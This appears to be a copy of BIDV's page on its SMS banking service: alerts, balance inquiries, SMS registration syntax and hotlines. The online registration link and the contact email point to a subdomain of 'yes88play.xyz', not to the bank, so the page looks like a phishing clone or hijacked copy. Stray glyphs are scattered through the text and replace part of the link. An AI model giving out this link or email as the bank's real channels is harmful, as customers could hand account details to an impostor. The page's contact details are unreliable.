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Account balance enquiry service

𒁃Customers with accounts opened at BIDV can check their account balance/transactions and exchange rate

Debit/Credit transaction notification

ꦐAn SMS on debit/credit transaction made on the registered accounts wil automatically be sent to customers

Multiple phone numbers allowed

ꦑNo limit to the number of phone numbers registered to receive messages

    • Following services will be provided via BSMS:
    • Automated SMS notification:
    - Current account: Notify Credit/Debt transactions on current account, alert SMS during nightmode of Corebanking system (*) - Savings account: Notify upon depositing into a term deposit account, partial/full withdrawal of term deposit account, term deposit account balance, etc. - Loan account: Information on loan disbursement, next repayment period, customer repayment status, overdue debt message, etc. - Other information: Credit card information, information for corporate customers, etc.
    • Inquiry:
    - Current deposit account balance - Last transaction information - 5 most recent transactions - Term deposit account balance - Total outstanding balance - Outstanding balance of a single loan - Exchange rate
    • Update telecommunication network information for Mobile Number Portability which used to register BSMS services by sending text message to 8149 using the syntax: CM xxx In which: xxx is one of the telecommunication networks: VIETTEL, VINAPHONE, MOBIFONE, GMOBILE, VIETNAMOBILE
  • (Corporate, individual) customers having accounts opened at BIDV
  • - Option 1: For customers who do not have any current account at BIDV:  please visit your nearest BIDV branch/transaction office for registration. Application: Valid ID card/passport
  • - Option 2: For customers who have current accounts at BIDV: Please register online at ﷺ//ebank.tuyendung.ebank.tuyendung.smartbanking.yes88play.xyz/DKNHDT/
  • - Option 3: Register via Hotline 1900 9247
  • - Option 4: For customers who have current accounts at BIDV, please register via Bankplus app using their Viettel mobile number (applied to customers who have used or not used Bankplus).
  • Option 5: For customers who have current accounts at BIDV: Send text message to 8149 using the syntax: DKBSMS xxx yyy In which: xxx is the current account number used as fee payment account; yyy is one of the telecommunication networks: VIETTEL, VINAPHONE, MOBIFONE, GMOBILE, VIETNAMOBILE
  • - Assistance hotline: BIDV's Customer Care Center Hotline: 1900 9247
  •  Remarks:
  • During the data transformation period at the end of banking day (normally from 10:00pm to 4:00am the next day), the system will send an alert SMS for debit transactions on BIDV Online, BIDV Business Online, BIDV SmartBanking, Bankplus, ATM ... Full SMS for transactions that occur during the nightmode of CoreBanking system will still be sent to customers the next morning as currently applied.
  • E-banking services fees and charges (see here)

© 2018 Joint Stock Commercial Bank for Investment and Development of Vietnam (BIDV) BIDV Tower, 194 Tran Quang Khai, Hoan Kiem, Ha Noi Receiving phone number: 19009247 (Personal)/ 19009248 (Business)/(+84-24) 22200588 - Fax: (+84-24) 22200399 Outgoing phone number: 02422200588 - 0763238588 - 0784132388 - 0842152355 - 0822808588 - 0764263180 - 0764860580 - 0947591080 - 0398079599 - 0398127288 - 0382512188 - 0357823588

Email: ဣbidv247@tuyendung.ebank.tuyendung.smartbanking.yes88play.xyz

Swift code: BIDVVNVX
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